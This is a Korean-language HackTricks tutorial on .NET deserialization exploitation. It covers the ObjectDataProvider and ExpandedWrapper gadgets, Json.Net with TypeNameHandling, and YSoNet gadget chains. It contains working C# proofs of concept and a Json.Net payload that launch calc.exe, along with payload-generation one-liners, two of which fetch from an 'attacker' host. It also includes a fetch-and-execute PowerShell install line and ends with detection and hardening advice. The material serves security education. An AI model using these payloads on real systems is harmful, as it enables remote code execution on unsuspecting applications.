14 KiB
Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
{{#include ../../banners/hacktricks-training.md}}
이 게시물은 ObjectDataProvider 가젯이 어떻게 악용되는지 이해하기 위해 작성되었습니다. 이를 통해 RCE를 얻고 Json.Net 및 xmlSerializer와 같은 직렬화 라이브러리가 어떻게 악용될 수 있는지 설명합니다.
ObjectDataProvider Gadget
문서에서: ObjectDataProvider 클래스는 바인딩 소스로 사용할 수 있는 객체를 래핑하고 생성합니다.
네, 이상한 설명이니, 이 클래스가 왜 흥미로운지 살펴보겠습니다: 이 클래스는 임의의 객체를 래핑하고, _MethodParameters_를 사용하여 임의의 매개변수를 설정한 다음, MethodName을 사용하여 임의의 함수를 호출할 수 있게 해줍니다.
따라서 임의의 객체는 역직렬화되는 동안 매개변수와 함께 함수를 실행합니다.
이것이 어떻게 가능할까요
System.Windows.Data 네임스페이스는 C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF
에 있는 PresentationFramework.dll 내에서 정의되고 구현됩니다.
dnSpy를 사용하면 관심 있는 클래스의 코드를 검사할 수 있습니다. 아래 이미지에서 PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name의 코드를 보고 있습니다.
MethodName
이 설정되면 base.Refresh()
가 호출되는 것을 볼 수 있습니다. 이 함수가 무엇을 하는지 살펴보겠습니다:
좋습니다, 이제 this.BeginQuery()
가 무엇을 하는지 계속 살펴보겠습니다. BeginQuery
는 ObjectDataProvider
에 의해 재정의되며, 다음과 같은 작업을 수행합니다:
코드 끝부분에서 this.QueryWorke(null)
를 호출하고 있다는 점에 주목하세요. 이것이 무엇을 실행하는지 살펴보겠습니다:
이것은 QueryWorker
함수의 전체 코드는 아니지만, 흥미로운 부분을 보여줍니다: 코드 this.InvokeMethodOnInstance(out ex);
를 호출합니다. 이 줄이 메서드 세트가 호출되는 부분입니다.
_MethodName_을 설정하기만 하면 실행된다는 것을 확인하고 싶다면, 이 코드를 실행해 보세요:
using System.Windows.Data;
using System.Diagnostics;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}
_C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_를 참조로 추가해야 System.Windows.Data
를 로드할 수 있습니다.
ExpandedWrapper
이전의 익스플로잇을 사용하면 객체가 ObjectDataProvider 인스턴스로 역직렬화될 경우가 있습니다(예: DotNetNuke 취약점에서 XmlSerializer를 사용하여 객체가 GetType
을 사용하여 역직렬화됨). 그러면 ObjectDataProvider 인스턴스에 래핑된 객체 유형에 대한 정보가 없습니다(예: Process
). DotNetNuke 취약점에 대한 더 많은 정보는 여기에서 확인할 수 있습니다.
이 클래스는 주어진 인스턴스에 캡슐화된 객체의 객체 유형을 지정할 수 있도록 합니다. 따라서 이 클래스는 소스 객체(ObjectDataProvider)를 새로운 객체 유형으로 캡슐화하고 우리가 필요한 속성(ObjectDataProvider.MethodName 및 ObjectDataProvider.MethodParameters)을 제공하는 데 사용할 수 있습니다.
이는 앞서 제시된 경우와 같이 매우 유용합니다. 왜냐하면 우리는 _ObjectDataProvider를 **ExpandedWrapper _ 인스턴스 안에 래핑할 수 있고, 역직렬화될 때 이 클래스는 **OjectDataProvider 객체를 생성하여 _MethodName_에 지정된 함수를 실행할 것입니다.
다음 코드를 사용하여 이 래퍼를 확인할 수 있습니다:
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}
Json.Net
공식 웹 페이지에서는 이 라이브러리가 Json.NET의 강력한 JSON 직렬 변환기를 사용하여 모든 .NET 객체를 직렬화 및 역직렬화할 수 있도록 한다고 명시되어 있습니다. 따라서 ObjectDataProvider 가젯을 역직렬화할 수 있다면, 객체를 역직렬화하는 것만으로 RCE를 유발할 수 있습니다.
Json.Net 예제
우선 이 라이브러리를 사용하여 객체를 직렬화/역직렬화하는 방법에 대한 예제를 살펴보겠습니다:
using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;
namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}
//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}
Json.Net 악용하기
ysoserial.net을 사용하여 익스플로잇을 생성했습니다:
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
이 코드에서 익스플로잇을 테스트할 수 있습니다, 그냥 실행하면 calc가 실행되는 것을 볼 수 있습니다:
using System;
using System.Text;
using Newtonsoft.Json;
namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));
//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}
고급 .NET 가젯 체인 (YSoNet & ysoserial.net)
위에서 소개한 ObjectDataProvider + ExpandedWrapper 기술은 애플리케이션이 안전하지 않은 .NET 역직렬화를 수행할 때 악용될 수 있는 많은 가젯 체인 중 하나일 뿐입니다. YSoNet (그리고 이전의 ysoserial.net)와 같은 현대의 레드팀 도구는 수십 개의 가젯과 직렬화 형식에 대한 사용 준비가 완료된 악성 객체 그래프 생성을 자동화합니다.
아래는 YSoNet과 함께 제공되는 가장 유용한 체인의 요약 참조와 그 작동 방식에 대한 간단한 설명 및 페이로드 생성을 위한 예제 명령입니다.
가젯 체인 | 주요 아이디어 / 원시 | 일반 직렬화기 | YSoNet 원라이너 |
---|---|---|---|
TypeConfuseDelegate | DelegateSerializationHolder 레코드를 손상시켜, 일단 구체화되면 델리게이트가 임의의 공격자가 제공한 메서드(예: Process.Start )를 가리키도록 함 |
BinaryFormatter , SoapFormatter , NetDataContractSerializer |
ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin |
ActivitySurrogateSelector | System.Workflow.ComponentModel.ActivitySurrogateSelector 를 악용하여 .NET ≥4.8 유형 필터링을 우회하고 제공된 클래스의 생성자를 직접 호출하거나 C# 파일을 즉석에서 컴파일함 |
BinaryFormatter , NetDataContractSerializer , LosFormatter |
ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat |
DataSetOldBehaviour | System.Data.DataSet 의 구식 XML 표현을 활용하여 <ColumnMapping> / <DataType> 필드를 채워 임의의 유형을 인스턴스화함 (선택적으로 --spoofedAssembly 로 어셈블리를 위조) |
LosFormatter , BinaryFormatter , XmlSerializer |
ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml |
GetterCompilerResults | WPF 지원 런타임에서 (> .NET 5) 속성 getter를 체인하여 System.CodeDom.Compiler.CompilerResults 에 도달한 후, -c 로 제공된 DLL을 컴파일하거나 로드함 |
Json.NET 비유형, MessagePack 비유형 |
ysonet.exe GetterCompilerResults -c Loader.dll > payload.json |
ObjectDataProvider (검토) | WPF System.Windows.Data.ObjectDataProvider 를 사용하여 제어된 인수로 임의의 정적 메서드를 호출함. YSoNet은 악성 XAML을 원격으로 호스팅하기 위한 편리한 --xamlurl 변형을 추가함 |
BinaryFormatter , Json.NET , XAML , 기타 |
ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml |
PSObject (CVE-2017-8565) | System.Management.Automation.PSObject 에 ScriptBlock 을 포함시켜 PowerShell이 객체를 역직렬화할 때 실행됨 |
PowerShell 원격, BinaryFormatter |
ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin |
Tip
모든 페이로드는 기본적으로 stdout에 기록되므로 다른 도구(예: ViewState 생성기, base64 인코더, HTTP 클라이언트)로 파이프하는 것이 간단합니다.
YSoNet 빌드 / 설치
Actions ➜ Artifacts / Releases 아래에 미리 컴파일된 바이너리가 없는 경우, 다음 PowerShell 원라이너가 빌드 환경을 설정하고, 리포지토리를 클론하며, 모든 것을 Release 모드로 컴파일합니다:
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;
git clone https://github.com/irsdl/ysonet
cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release
컴파일된 ysonet.exe
는 ysonet/bin/Release/
아래에서 찾을 수 있습니다.
탐지 및 강화
- 예상치 못한
w3wp.exe
,PowerShell.exe
의 자식 프로세스 또는 사용자 제공 데이터를 역직렬화하는 모든 프로세스를 탐지합니다 (예:MessagePack
,Json.NET
). - 레거시
BinaryFormatter
/NetDataContractSerializer
를 제거할 수 없는 경우, 항상 타입 필터링(TypeFilterLevel
= Full, 사용자 정의SurrogateSelector
,SerializationBinder
, 기타)을 활성화하고 강제 적용합니다. - 가능한 경우
System.Text.Json
또는 **DataContractJsonSerializer
**로 마이그레이션하고 화이트리스트 기반 변환기를 사용합니다. - 절대 필요하지 않은 웹 프로세스에서 위험한 WPF 어셈블리(
PresentationFramework
,System.Workflow.*
)의 로드를 차단합니다.
참조
- YSoNet – .NET Deserialization Payload Generator
- ysoserial.net – original PoC tool
- Microsoft – CVE-2017-8565
{{#include ../../banners/hacktricks-training.md}}